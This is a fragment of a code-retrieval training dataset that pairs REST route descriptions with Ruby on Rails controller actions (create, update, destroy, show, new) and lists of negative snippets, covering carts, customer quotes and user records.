"def create\n @catalogo_usuario = CatalogoUsuario.new(catalogo_usuario_params)\n\n respond_to do |format|\n if @catalogo_usuario.save\n format.html { redirect_to @catalogo_usuario, notice: 'Catalogo usuario was successfully created.' }\n format.json { render :show, status: :created, location: @catalogo_usuario }\n else\n format.html { render :new }\n format.json { render json: @catalogo_usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if usuario_do_setor_principal\n @aquisicao = Aquisicao.new(\n params.require(:aquisicao).permit(:produto_id, :quantidade)\n )\n @aquisicao.setor = Setor.principal\n @aquisicao.usuario = current_usuario\n\n if @aquisicao.save\n format.html { redirect_to @aquisicao, notice: 'AquisiΓ§Γ£o registrada com sucesso.' }\n format.json { render :show, status: :created, location: @aquisicao }\n else\n set_produtos\n format.html { render :new }\n format.json { render json: @aquisicao.errors, status: :unprocessable_entity }\n end\n else\n @aquisicao.errors.add :base, aviso_apenas_usuario_do_setor_principal\n format.html { render :new, notice: @aquisicao.errors }\n format.json { render json: @aquisicao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @comentario = @comentavel.comentarios.create(comentario_params)\n @comentario.usuario = current_user\n respond_to do |format|\n if @comentario.save\n response_successfully(format, produto, 'Comentario was successfully created.', :show, :created)\n else\n response_unsuccessfully(format, :new, @comentario, :unprocessable_entity)\n end\n end\n end",
"def create\n\t\t\t\tif params[:tipo] == \"criacao_sku\" \n\t\t\t\t\tsku = Sku.create(id: params[:parametros][:idSku], idProduto: params[:parametros][:idProduto])\n\t\t\t\t\tsku.save\n\t\t\t\t\trender json: {status: 'SUCCESS', message:'SKU foi criado.', data: sku}, status: :ok\n\t\t\t\tend\n\t\t\tend",
"def create\n @produto = Produto.new(produto_params)\n\n if @produto.save\n render json: @produto, status: :created, location: @produto\n else\n render json: @produto.errors, status: :unprocessable_entity\n end\n end",
"def create\n response, status = BeyondApi::Request.post(@session,\n \"/carts\")\n\n handle_response(response, status)\n end",
"def create\n @cart_item = CartItem.new(cart_item_params)\n\n if @cart_item.save\n render json: @cart_item, status: :created, location: @cart_item\n else\n render json: @cart_item.errors, status: :unprocessable_entity\n end\n end",
"def create\n @cartella_clinica = CartellaClinica.new(cartella_clinica_params)\n\n respond_to do |format|\n if @cartella_clinica.save\n format.html { redirect_to @cartella_clinica, notice: 'La Cartella clinica Γ¨ stata creata correttamente.' }\n format.json { render :show, status: :created, location: @cartella_clinica }\n else\n format.html { render :new }\n format.json { render json: @cartella_clinica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @users_carts_conector = UsersCartsConector.new(users_carts_conector_params)\n\n respond_to do |format|\n if @users_carts_conector.save\n format.html { redirect_to cart_path, notice: 'Users carts conector was successfully created.' }\n format.json { render cart_path, status: :created, location: @users_carts_conector }\n else\n format.html { render root_path}\n format.json { render json: @users_carts_conector.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n attributes = {:token => SecureRandom.base58(Cart::TOKEN_LENGTH)}\n\n if user = current_user\n @cart = user.carts.create! attributes\n else\n @cart = Cart.create! attributes\n end\n\n render :show, status: :created\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PUT /usuario_carta/1 PUT /usuario_carta/1.json
|
def update
@usuario_cartum = UsuarioCartum.find(params[:id])
respond_to do |format|
if @usuario_cartum.update_attributes(params[:usuario_cartum])
format.html { redirect_to @usuario_cartum, notice: 'Usuario cartum was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @usuario_cartum.errors, status: :unprocessable_entity }
end
end
end
|
[
"def update_cart_item\n\t\t@persona = Persona.where(:screen_name => params[:persona_id]).first\n\t\t@cart = @persona.carts.find(params[:cart_id])\n\t\trespond_to do |format|\n\t\t\tif @cart.update_attributes(params[:cart]) then\n\t\t\t\tformat.json { respond_with_bip @cart }\n\t\t\telse\n\t\t\t\tformat.json { respond_with_bip @cart }\n\t\t\tend\n\t\tend\n\tend",
"def update\n\t\t\t\tsku = Sku.find(params[:id])\n\t\t sku.update(idProduto: params[:idProduto])\n\t\t render json: {status: 'SUCCESS', message:'SKU foi atualizado.', data: sku},status: :ok\n\t\t\tend",
"def update\n respond_to do |format|\n if @dados_cartao.update(dados_cartao_params)\n format.html { redirect_to @dados_cartao, notice: 'Dados cartao was successfully updated.' }\n format.json { render :show, status: :ok, location: @dados_cartao }\n else\n format.html { render :edit }\n format.json { render json: @dados_cartao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @catalogo_usuario.update(catalogo_usuario_params)\n format.html { redirect_to @catalogo_usuario, notice: 'Catalogo usuario was successfully updated.' }\n format.json { render :show, status: :ok, location: @catalogo_usuario }\n else\n format.html { render :edit }\n format.json { render json: @catalogo_usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @intranet_cartorio.update(intranet_cartorio_params)\n format.html { redirect_to @intranet_cartorio, notice: \"Cartorio was successfully updated.\" }\n format.json { render :show, status: :ok, location: @intranet_cartorio }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @intranet_cartorio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cartorio = Cartorio.find(params[:id])\n\n respond_to do |format|\n if @cartorio.update_attributes(params[:cartorio])\n flash[:notice] = 'Cartorio was successfully updated.'\n format.html { redirect_to(@cartorio) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cartorio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_cart\n @cart.add_item(params[:sku], 1) if params[:q] == \"add\"\n @cart.reduce_qty_of(params[:sku]) if params[:q] == \"reduce\"\n @cart.remove_item(params[:sku]) if params[:q] == \"remove\"\n\n respond_to do |format|\n format.json {\n render :json => update_cart_response\n }\n end\n end",
"def update\n if @cart.update(cart_params)\n render json: @cart\n else\n render json: @cart.errors, status: :unprocessable_entity\n end\n end",
"def update\n @cartella_clinica = CartellaClinica.find(params[:id])\n respond_to do |format|\n if @cartella_clinica.update(cartella_clinica_params)\n format.html { redirect_to @cartella_clinica, notice: 'La Cartella clinica Γ¨ stata aggiornata con successo.' }\n format.json { render :show, status: :ok, location: @cartella_clinica }\n else\n format.html { render :edit }\n format.json { render json: @cartella_clinica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n product = Product.find(params[:product_id])\n quantity = params[:pocet]\n @cart_product = @cart.add_product(product.id, quantity)\n :add_cart_to_current_user\n respond_to do |format|\n if @cart_product.save\n if user_signed_in?\n user = current_user\n user.cart_id = @cart.id\n user.save\n end\n format.html { redirect_to @cart, notice: 'Zbozi bylo vlozeno do kosiku' }\n format.json { render :show, status: :created, location: @cart_product }\n else\n format.html { render :new }\n format.json { render json: @cart_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @usuario_cartum = UsuarioCartum.new(params[:usuario_cartum])\n\n respond_to do |format|\n if @usuario_cartum.save\n format.html { redirect_to @usuario_cartum, notice: 'Usuario cartum was successfully created.' }\n format.json { render json: @usuario_cartum, status: :created, location: @usuario_cartum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @usuario_cartum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_cart(user = {}, items = [])\n data = {\n items: items,\n user: user\n }\n Iterable.request(conf, '/commerce/updateCart').post(data)\n end",
"def update\n @caracteristica_cartum = CaracteristicaCartum.find(params[:id])\n\n respond_to do |format|\n if @caracteristica_cartum.update_attributes(params[:caracteristica_cartum])\n format.html { redirect_to @caracteristica_cartum, notice: 'Caracteristica cartum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @caracteristica_cartum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @producto_cosa.update(producto_cosa_params)\n format.html { redirect_to @producto_cosa, notice: 'Producto cosa was successfully updated.' }\n format.json { render :show, status: :ok, location: @producto_cosa }\n else\n format.html { render :edit }\n format.json { render json: @producto_cosa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cartelera = Cartelera.find(params[:id])\n\n respond_to do |format|\n if @cartelera.update_attributes(params[:cartelera])\n format.html { redirect_to @cartelera, notice: 'Cartelera was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cartelera.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \t\tif params[:usuario_pedido]\n \t\t\t@usuario = Usuario.find(params[:usuario_id])\n \tusuario_pedido = @usuario.pedidos.find(@pedido.id)\n \t\tif usuario_pedido.update(parametros_actualizar_usuario_negocio)\n \t\thead :no_content\n \t\telse\n \t\trender json: @usuario_pedido.errors, status: :unprocessable_entity\n \t\tend\n else\n \t\t\t@negocio = Negocio.find(params[:negocio_id])\n \tnegocio_pedido = @negocio.pedidos.find(@pedido.id)\n \tif negocio_pedido.update(parametros_actualizar_pedido_negocio)\n \thead :no_content\n \telse\n \trender json: @negocio_pedido.errors, status: :unprocessable_entity\n \tend\n \tend\n end",
"def update\n respond_to do |format|\n if @cartelera.update(cartelera_params)\n format.html { redirect_to @cartelera, notice: 'Cartelera was successfully updated.' }\n format.json { render :show, status: :ok, location: @cartelera }\n else\n format.html { render :edit }\n format.json { render json: @cartelera.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @usuario = Usuario.find(params[:id])\n\n if @usuario.update(usuario_params)\n head :no_content\n else\n render json: @usuario.errors, status: :unprocessable_entity\n end\n end",
"def update\n uri = \"#{API_BASE_URL}/products/#{params[:id]}\"\n payload = params.to_json\n rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n begin\n rest_resource.put payload , :content_type => \"application/json\"\n flash[:notice] = \"Product Updated successfully\"\n rescue Exception => e\n flash[:error] = \"Product Failed to Update\"\n end\n redirect_to users_path\n\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /usuario_carta/1 DELETE /usuario_carta/1.json
|
def destroy
@usuario_cartum = UsuarioCartum.find(params[:id])
@usuario_cartum.destroy
respond_to do |format|
format.html { redirect_to usuario_carta_url }
format.json { head :no_content }
end
end
|
[
"def destroy\n @users_carts_conector.destroy\n respond_to do |format|\n format.html { redirect_to cart_url, notice: 'Producto Eliminado del carrito' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cartorio.destroy\n respond_to do |format|\n format.html { redirect_to cartorios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cartum = Cartum.find(params[:id])\n @cartum.destroy\n\n respond_to do |format|\n format.html { redirect_to carta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @caracteristica_cartum = CaracteristicaCartum.find(params[:id])\n @caracteristica_cartum.destroy\n\n respond_to do |format|\n format.html { redirect_to caracteristica_carta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cart.destroy\n format.json { head :no_content }\n end",
"def destroy\n @usuario_seguro.destroy\n respond_to do |format|\n format.html { redirect_to usuario_seguros_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cartelera = Cartelera.find(params[:id])\n @cartelera.destroy\n\n respond_to do |format|\n format.html { redirect_to carteleras_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente_producto = ClienteProducto.find(params[:id])\n @cliente_producto.destroy\n\n respond_to do |format|\n format.html { redirect_to cliente_productos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @proyecto_usuario.destroy\n respond_to do |format|\n format.html { redirect_to proyecto_usuarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datos_usuario.destroy\n respond_to do |format|\n format.html { redirect_to datos_usuarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usuario_especie.destroy\n respond_to do |format|\n format.html { redirect_to usuarios_especie_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @apodos_usuario = ApodosUsuario.find(params[:id])\n @apodos_usuario.destroy\n\n respond_to do |format|\n format.html { redirect_to apodos_usuarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @catalogo_usuario.destroy\n respond_to do |format|\n format.html { redirect_to catalogo_usuarios_url, notice: 'Catalogo usuario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente_juridico.destroy\n respond_to do |format|\n format.html { redirect_to cliente_juridicos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @productousuario = Productousuario.find(params[:id])\n @productousuario.destroy\n\n respond_to do |format|\n format.html { redirect_to productousuarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usuario.destroy\n respond_to do |format|\n format.html { redirect_to usuarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @usuario_sitio.destroy\r\n respond_to do |format|\r\n format.html { redirect_to usuario_sitios_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @cliente_juridico = ClienteJuridico.find(params[:id])\n @cliente_juridico.destroy\n\n respond_to do |format|\n format.html { redirect_to cliente_juridicos_url }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET customer_quotes/1/customer_quote_lines/1 GET customer_quotes/1/customer_quote_lines/1.json
|
def show
@customer_quote = CustomerQuote.find(params[:customer_quote_id])
@customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render :json => @customer_quote_line }
end
end
|
[
"def show\n @quote = Quote.find(params[:quote_id])\n @quote_line = @quote.quote_lines.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @quote_line }\n end\n end",
"def destroy\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n @customer_quote_line.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was deleted updated.' }\n format.json { head :ok }\n end\n end",
"def new\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.build\n @attachable = @customer_quote\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @customer_quote_line }\n end\n end",
"def show\n @line_item = @order.line_items.find(params[:id])\n\n render json: @line_item\n end",
"def index\n @line_items = @order.line_items\n\n render json: @line_items\n end",
"def get_quote\n response = RestClient.get(\"https://api.iextrading.com/1.0/stock/#{self.ticker}/quote\")\n JSON.parse(response.body)\n end",
"def index\n @quote_lines = QuoteLine.all\n end",
"def show\n @quote_line_cost = QuoteLineCost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quote_line_cost }\n end\n end",
"def destroy\n @quote = Quote.find(params[:quote_id])\n @quote_line = @quote.quote_lines.find(params[:id])\n @quote_line.destroy\n\n respond_to do |format|\n format.html { redirect_to new_quote_quote_line_path(@quote) }\n format.json { head :ok }\n end\n end",
"def index\n @order_line_items = @order.order_line_items\n\n render json: @order_line_items\n end",
"def new\n @quote = Quote.find(params[:quote_id])\n @quote_line = @quote.quote_lines.build\n @attachable = @quote\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @quote_line }\n end\n end",
"def update\n @quote = Quote.find(params[:quote_id])\n @quote_line = @quote.quote_lines.find(params[:id])\n\n respond_to do |format|\n if @quote_line.update_attributes(params[:quote_line])\n format.html { redirect_to new_quote_quote_line_path(@quote), :notice => 'Quote line was successfully updated.'}\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n params[:customer_quote_line][:item_name_sub] = params[:alt_name_id]\n @customer_quote_line = @customer_quote.customer_quote_lines.build(customer_quote_line_params)\n @attachable = @customer_quote\n\n respond_to do |format|\n if @customer_quote_line.save\n format.html { redirect_to new_customer_quote_customer_quote_line_path(@customer_quote), :notice => 'Customer quote line was successfully created.' }\n format.json { render :json => @customer_quote_line, :status => :created, :location => [@customer_quote_line.customer_quote, @customer_quote_line] }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n @attachable = @customer_quote\n\n respond_to do |format|\n if @customer_quote_line.update_attributes(customer_quote_line_params)\n format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @line = Line.find(params[:id])\n\n render json: @line\n end",
"def destroy\n @quote_line.destroy\n respond_to do |format|\n format.html { redirect_to quote_lines_url }\n format.json { head :no_content }\n end\n end",
"def create\n @quote_line = QuoteLine.new(quote_line_params)\n\n respond_to do |format|\n if @quote_line.save\n format.html { redirect_to @quote_line, notice: 'Quote line was successfully created.' }\n format.json { render action: 'show', status: :created, location: @quote_line }\n else\n format.html { render action: 'new' }\n format.json { render json: @quote_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @line_items = LineItem.find(params[:id])\n render json: @line_items\n end",
"def show\n @invoice_line = InvoiceLine.find(params[:id])\n\n render json: @invoice_line\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET customer_quotes/1/customer_quote_lines/new GET customer_quotes/1/customer_quote_lines/new.json
|
def new
@customer_quote = CustomerQuote.find(params[:customer_quote_id])
@customer_quote_line = @customer_quote.customer_quote_lines.build
@attachable = @customer_quote
respond_to do |format|
format.html # new.html.erb
format.json { render :json => @customer_quote_line }
end
end
|
[
"def new\n @quote_line_cost = QuoteLineCost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quote_line_cost }\n end\n end",
"def new\n @quote = Quote.find(params[:quote_id])\n @quote_line = @quote.quote_lines.build\n @attachable = @quote\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @quote_line }\n end\n end",
"def new\n @quote = Quote.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quote }\n end\n end",
"def new\n @quote = Quote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quote }\n end\n end",
"def new\n @order_line = OrderLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order_line }\n end\n end",
"def new\n @quoteable = find_quoteable\n @quote = Quote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quote }\n end\n end",
"def new\n @quote_detail = QuoteDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quote_detail }\n end\n end",
"def new\n @line = Line.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def new\n @lineitem = Lineitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lineitem }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { }\n end\n end",
"def show\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @customer_quote_line }\n end\n end",
"def new\n @order = @client.orders.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @comment_line_item = CommentLineItem.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comment_line_item }\n end\n end",
"def new\n @line = ReportingForms::B1Line.new\n @lines =[]\n @lines = ReportingForms::B1Line.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def new\n @order = @customer.orders.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def create\n @quote = Customer.find(params[:customer_id]).quotes.new(quote_params)\n \n respond_to do |format|\n if @quote.save\n format.json { render :json => { :code => \"201\", :description => \"Created quote\", :quote => @quote} }\n else\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @quote = Quote.find(params[:quote_id])\n @quote_line = @quote.quote_lines.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @quote_line }\n end\n end",
"def new\n @lineitem2 = Lineitem2.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lineitem2 }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST customer_quotes/1/customer_quote_lines POST customer_quotes/1/customer_quote_lines.json
|
def create
@customer_quote = CustomerQuote.find(params[:customer_quote_id])
params[:customer_quote_line][:item_name_sub] = params[:alt_name_id]
@customer_quote_line = @customer_quote.customer_quote_lines.build(customer_quote_line_params)
@attachable = @customer_quote
respond_to do |format|
if @customer_quote_line.save
format.html { redirect_to new_customer_quote_customer_quote_line_path(@customer_quote), :notice => 'Customer quote line was successfully created.' }
format.json { render :json => @customer_quote_line, :status => :created, :location => [@customer_quote_line.customer_quote, @customer_quote_line] }
else
format.html { render :action => "new" }
format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity }
end
end
end
|
[
"def create\n @quote_line = QuoteLine.new(quote_line_params)\n\n respond_to do |format|\n if @quote_line.save\n format.html { redirect_to @quote_line, notice: 'Quote line was successfully created.' }\n format.json { render action: 'show', status: :created, location: @quote_line }\n else\n format.html { render action: 'new' }\n format.json { render json: @quote_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @customer_quote = CustomerQuote.new(customer_quote_params)\n\n respond_to do |format|\n if @customer_quote.save\n format.html { redirect_to new_customer_quote_customer_quote_line_path(@customer_quote), notice: 'Customer quote was successfully created.' }\n format.json { render json: @customer_quote, status: :created, location: @customer_quote }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer_quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.build\n @attachable = @customer_quote\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @customer_quote_line }\n end\n end",
"def create\n @quote = Quote.find(params[:quote_id])\n params[:quote_line][:item_name_sub] = params[:alt_name_id]\n @quote_line = @quote.quote_lines.build(params[:quote_line])\n @attachable = @quote\n\n respond_to do |format|\n if @quote_line.save\n @quote.quote_vendors.each do |quote_vendor|\n QuoteLineCost.create(quote_vendor_id: quote_vendor.id, quote_line_id: @quote_line.id)\n end\n\n format.html { redirect_to new_quote_quote_line_path(@quote), :notice => 'Quote line was successfully created.' }\n format.json { render :json => @quote_line, :status => :created, :location => [@quote_line.quote, @quote_line] }\n # if @quote.quote_vendors.count > 0\n # @quote.quote_vendors.each do |quote_vendor|\n # @dup_quote_line = @quote_line.clone\n # @dup_quote_line.vendor_id = quote_vendor.organization_id\n # @dup_quote_line.save\n # end\n # format.html { redirect_to new_quote_quote_line_path(@quote), :notice => 'Quote line was successfully created.' }\n # format.json { render :json => @quote_line, :status => :created, :location => [@quote_line.quote, @quote_line] }\n # else\n # format.html { redirect_to new_quote_quote_line_path(@quote), :notice => 'Please select vendors to add quote items.' }\n # end\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @quote = Customer.find(params[:customer_id]).quotes.new(quote_params)\n \n respond_to do |format|\n if @quote.save\n format.json { render :json => { :code => \"201\", :description => \"Created quote\", :quote => @quote} }\n else\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n @customer_quote_line.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was deleted updated.' }\n format.json { head :ok }\n end\n end",
"def create\n @line_item = @order.line_items.new(line_item_params)\n\n if @line_item.save\n render json: @line_item, status: :created, location: [@order, @line_item]\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def create\n @tqrdc_order_line = Tqrdc::OrderLine.new(tqrdc_order_line_params)\n\n respond_to do |format|\n if @tqrdc_order_line.save\n format.html { redirect_to @tqrdc_order_line, notice: 'Order line was successfully created.' }\n format.json { render :show, status: :created, location: @tqrdc_order_line }\n else\n format.html { render :new }\n format.json { render json: @tqrdc_order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @quote = Quote.find(params[:quote_id])\n @quote_line = @quote.quote_lines.build\n @attachable = @quote\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @quote_line }\n end\n end",
"def show\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @customer_quote_line }\n end\n end",
"def update\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n @attachable = @customer_quote\n\n respond_to do |format|\n if @customer_quote_line.update_attributes(customer_quote_line_params)\n format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def quote(options = {})\n post(\"customers/#{customer_id}/delivery_quotes\", options)\n end",
"def destroy\n @quote = Quote.find(params[:quote_id])\n @quote_line = @quote.quote_lines.find(params[:id])\n @quote_line.destroy\n\n respond_to do |format|\n format.html { redirect_to new_quote_quote_line_path(@quote) }\n format.json { head :ok }\n end\n end",
"def create\n @line = Line.new(line_params)\n\n if @line.save\n render json: @line, status: :created\n else\n render json: @line.errors, status: :unprocessable_entity\n end\n end",
"def create\n @quote_line_cost = QuoteLineCost.new(quote_line_cost_params)\n\n respond_to do |format|\n if @quote_line_cost.save\n format.html { redirect_to @quote_line_cost, notice: 'Quote line cost was successfully created.' }\n format.json { render json: @quote_line_cost, status: :created, location: @quote_line_cost }\n else\n format.html { render action: \"new\" }\n format.json { render json: @quote_line_cost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order_line = OrderLine.new(order_line_params)\n\n respond_to do |format|\n if @order_line.save\n format.html { redirect_to @order_line, notice: 'Order line was successfully created.' }\n format.json { render :show, status: :created, location: @order_line }\n else\n format.html { render :new }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @quote = Quote.find(params[:quote_id])\n @quote_line = @quote.quote_lines.find(params[:id])\n\n respond_to do |format|\n if @quote_line.update_attributes(params[:quote_line])\n format.html { redirect_to new_quote_quote_line_path(@quote), :notice => 'Quote line was successfully updated.'}\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @order_line = OrderLine.new(order_line_params)\n\n respond_to do |format|\n if @order_line.save\n format.html { redirect_to @order_line, notice: \"Order line was successfully created.\" }\n format.json { render :show, status: :created, location: @order_line }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order_line = OrderLine.new(params[:order_line])\n\n respond_to do |format|\n if @order_line.save\n format.html { redirect_to @order_line, notice: 'Order line was successfully created.' }\n format.json { render json: @order_line, status: :created, location: @order_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PUT customer_quotes/1/customer_quote_lines/1 PUT customer_quotes/1/customer_quote_lines/1.json
|
def update
@customer_quote = CustomerQuote.find(params[:customer_quote_id])
@customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])
@attachable = @customer_quote
respond_to do |format|
if @customer_quote_line.update_attributes(customer_quote_line_params)
format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was successfully updated.' }
format.json { head :ok }
else
format.html { render :action => "edit" }
format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity }
end
end
end
|
[
"def update\n @quote = Quote.find(params[:quote_id])\n @quote_line = @quote.quote_lines.find(params[:id])\n\n respond_to do |format|\n if @quote_line.update_attributes(params[:quote_line])\n format.html { redirect_to new_quote_quote_line_path(@quote), :notice => 'Quote line was successfully updated.'}\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n @customer_quote_line.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was deleted updated.' }\n format.json { head :ok }\n end\n end",
"def update\n respond_to do |format|\n if @quote_line.update(quote_line_params)\n format.html { redirect_to @quote_line, notice: 'Quote line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @quote_line.errors, status: :unprocessable_entity }\n end\n end\n end",
